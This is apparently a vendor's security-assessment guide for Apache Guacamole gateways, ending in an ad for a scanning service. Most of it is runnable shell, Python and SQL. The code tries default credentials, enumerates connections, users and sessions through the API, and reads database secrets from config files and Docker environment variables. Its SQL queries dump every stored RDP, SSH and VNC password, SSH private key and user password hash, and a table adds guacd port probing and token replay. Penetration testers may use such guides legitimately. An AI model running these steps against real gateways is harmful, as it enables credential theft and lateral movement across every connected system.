Apache Guacamole is a widely deployed open-source clientless remote desktop gateway supporting RDP, SSH, VNC, and Telnet — it provides browser-based access to servers and workstations. The critical risk: guacadmin/guacadmin are the documented default credentials that grant admin access to the entire gateway; MySQL/MariaDB stores all connection parameters including RDP passwords, SSH private keys, and VNC passwords often in plaintext; the JSON API provides full connection management; the guacd daemon on TCP 4822 may be exposed; and a single Guacamole compromise provides lateral movement credentials to every connected system. This guide covers systematic Apache Guacamole security assessment.
# Apache Guacamole — default credentials and API token testing
GUAC_URL="https://guacamole.example.com"
# Test documented default credentials (guacadmin/guacadmin)
for CRED in "guacadmin:guacadmin" "admin:admin" "guacamole:guacamole"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
AUTH=$(curl -s -X POST "${GUAC_URL}/api/tokens" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=${USER}&password=${PASS}" 2>/dev/null)
TOKEN=$(echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
t = d.get('authToken','')
u = d.get('username','')
ds = d.get('dataSource','')
if t:
print(f'OK token={t[:30]}... user={u} dataSource={ds}')
else:
print('FAIL: '+str(list(d.keys())))
" 2>/dev/null)
echo "${USER}:${PASS}: ${TOKEN}"
done
# With auth token — enumerate all connections
AUTH_TOKEN="your-guacamole-auth-token"
DATA_SOURCE="mysql" # or postgresql
curl -s "${GUAC_URL}/api/session/data/${DATA_SOURCE}/connections" \
-H "Guacamole-Token: ${AUTH_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Connections: {len(d)}')
for id,conn in list(d.items())[:10]:
print(f' [{id}] {conn.get(\"name\")} protocol={conn.get(\"protocol\")} active={conn.get(\"activeConnections\")}')
" 2>/dev/null
# Apache Guacamole API — connection and user group enumeration
GUAC_URL="https://guacamole.example.com"
AUTH_TOKEN="your-guacamole-auth-token"
DATA_SOURCE="mysql"
# Get all connection groups (organizational structure)
curl -s "${GUAC_URL}/api/session/data/${DATA_SOURCE}/connectionGroups" \
-H "Guacamole-Token: ${AUTH_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Connection groups: {len(d)}')
for id,grp in list(d.items())[:10]:
print(f' [{id}] {grp.get(\"name\")} type={grp.get(\"type\")} children={grp.get(\"childConnectionCount\",0)}')
" 2>/dev/null
# Get specific connection parameters (MAY include password in response)
CONN_ID="1"
curl -s "${GUAC_URL}/api/session/data/${DATA_SOURCE}/connections/${CONN_ID}/parameters" \
-H "Guacamole-Token: ${AUTH_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Connection parameters for {CONN_ID}:')
for k,v in d.items():
# Parameters include: hostname, port, username, password, private-key, etc.
if v:
print(f' {k}: {str(v)[:80]}')
" 2>/dev/null
# Get all users
curl -s "${GUAC_URL}/api/session/data/${DATA_SOURCE}/users" \
-H "Guacamole-Token: ${AUTH_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Users: {len(d)}')
for uname,u in list(d.items())[:10]:
print(f' {uname}: lastActive={u.get(\"lastActive\",\"\")}')
attrs = u.get('attributes',{})
print(f' email={attrs.get(\"guac-email-address\",\"\")} disabled={attrs.get(\"disabled\")}')
" 2>/dev/null
# Get active sessions (users currently connected)
curl -s "${GUAC_URL}/api/session/data/${DATA_SOURCE}/activeConnections" \
-H "Guacamole-Token: ${AUTH_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Active sessions: {len(d)}')
for id,sess in list(d.items())[:10]:
print(f' [{id}] user={sess.get(\"username\")} conn={sess.get(\"connectionIdentifier\")} started={sess.get(\"startDate\",\"\")[:19]}')
" 2>/dev/null
# Apache Guacamole MySQL — RDP/SSH/VNC credential extraction
# The database stores all connection parameters — the critical find
# guacamole.properties — Guacamole configuration
cat /etc/guacamole/guacamole.properties 2>/dev/null | grep -E "mysql|jdbc|postgresql|auth|ldap"
# mysql-hostname, mysql-port, mysql-database
# mysql-username, mysql-password — plaintext DB credentials
# Docker environment variables
docker inspect guacamole 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['MYSQL','GUACD','POSTGRES','LDAP','TOTP','HEADER','SECRET']):
print(e)
" 2>/dev/null
# MySQL — extract ALL stored connection credentials
mysql -h localhost -u guacamole -pPASSWORD guacamole_db 2>/dev/null << 'EOF'
-- All connections with their types
SELECT c.connection_id, c.connection_name, c.protocol,
c.parent_id, c.max_connections
FROM guacamole_connection c
ORDER BY c.protocol, c.connection_name
LIMIT 20;
EOF
-- THE CRITICAL QUERY: All connection parameters including passwords
mysql -h localhost -u guacamole -pPASSWORD guacamole_db 2>/dev/null << 'EOF'
SELECT c.connection_name, c.protocol,
p.parameter_name, p.parameter_value
FROM guacamole_connection_parameter p
JOIN guacamole_connection c ON p.connection_id = c.connection_id
WHERE p.parameter_name IN (
'hostname', 'port', 'username', 'password',
'private-key', 'passphrase',
'vnc-password',
'sftp-password', 'sftp-private-key',
'domain'
)
ORDER BY c.protocol, c.connection_name, p.parameter_name
LIMIT 50;
EOF
-- password: RDP/VNC/SFTP passwords in PLAINTEXT
-- private-key: SSH private key content (PEM format) in PLAINTEXT
-- passphrase: SSH key passphrase in PLAINTEXT
-- All users with password hashes
mysql -h localhost -u guacamole -pPASSWORD guacamole_db 2>/dev/null << 'EOF'
SELECT u.user_id, u.entity_id,
e.name as username, u.password_hash,
u.password_salt, u.password_date,
u.disabled
FROM guacamole_user u
JOIN guacamole_entity e ON u.entity_id = e.entity_id
ORDER BY u.user_id
LIMIT 10;
EOF
| Security Test | Method | Risk |
|---|---|---|
| guacadmin/guacadmin default credential access | POST /api/tokens with guacadmin/guacadmin — documented default; full admin access to all connections; enables immediate extraction of all stored credentials and lateral movement to all connected systems | Critical |
| MySQL connection_parameter RDP/SSH credential extraction | SELECT parameter_value FROM guacamole_connection_parameter WHERE parameter_name IN ('password','private-key') — all RDP passwords and SSH private keys in plaintext; complete credentials for every server accessible via the gateway | Critical |
| API connection parameter credential retrieval | GET /api/session/data/mysql/connections/{id}/parameters — Guacamole API returns connection parameters including passwords for some connection types; enables credential extraction without database access | High |
| guacd TCP 4822 daemon exposure | nc -z target 4822 — if guacd is exposed beyond localhost, attacker may send guacd protocol instructions to initiate unauthorized remote desktop connections bypassing web application authentication | High |
| Active session enumeration and session token replay | GET /api/session/data/mysql/activeConnections — enumerate all active user sessions; captured Guacamole-Token values allow session impersonation; monitor for concurrent admin sessions | Medium |
Ironimo tests Apache Guacamole deployments for guacadmin/guacadmin default credential access, MySQL connection_parameter RDP/SSH/VNC password extraction, API connection parameter credential retrieval, guacd TCP 4822 daemon exposure, active session enumeration and token replay, connection group structure and server inventory mapping, user account enumeration, LDAP configuration extraction from guacamole.properties, Docker MySQL root password exposure, and session recording configuration assessment.
Start free scan